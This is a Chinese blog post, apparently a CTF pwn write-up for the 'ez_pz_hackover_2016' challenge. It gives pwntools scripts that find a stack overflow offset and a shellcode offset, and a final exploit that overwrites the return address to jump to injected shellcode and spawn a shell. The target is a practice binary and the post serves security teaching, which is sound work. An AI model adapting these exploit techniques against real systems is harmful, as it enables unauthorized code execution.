ez_pz_hackover_2016

栈溢出与Shellcode偏移量测试

最新推荐文章于 2024-12-23 00:29:18 发布

原创最新推荐文章于 2024-12-23 00:29:18 发布 · 375 阅读

0 ·

CC 4.0 BY-SA版权

pwn 专栏收录该内容

38 篇文章

订阅专栏

本文介绍了一种测试栈溢出偏移量和shellcode偏移的方法，通过使用pwntools库，详细展示了如何在特定环境中找到正确的偏移量，以实现对程序的控制。

测试栈溢出偏移量

from pwn import *

p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
payload = 'crashme\x00' + 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa'
gdb.attach(p,'b *0x08048601')
p.sendline(payload)

cyclic -l 0x61666161

18+8 = 26

测试shellcode偏移

from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
p.recvuntil('Yippie, lets crash: 0x')
retaddr = int(p.recv(8),16)
log.success(hex(retaddr))
p.recvuntil('>')
payload = 'crashme\x00'.ljust(26, '\x00') + asm(shellcraft.sh())
gdb.attach(p,'b *0x08048601')
p.sendline(payload)

0xfff79f7c - 0xfff79f5c + 4 =28

payload如下：

from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
p.recvuntil('Yippie, lets crash: 0x')
retaddr = int(p.recv(8),16)
log.success(hex(retaddr))
p.recvuntil('>')
payload = 'crashme\x00'.ljust(26, '\x00') +p32(retaddr - 28) + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()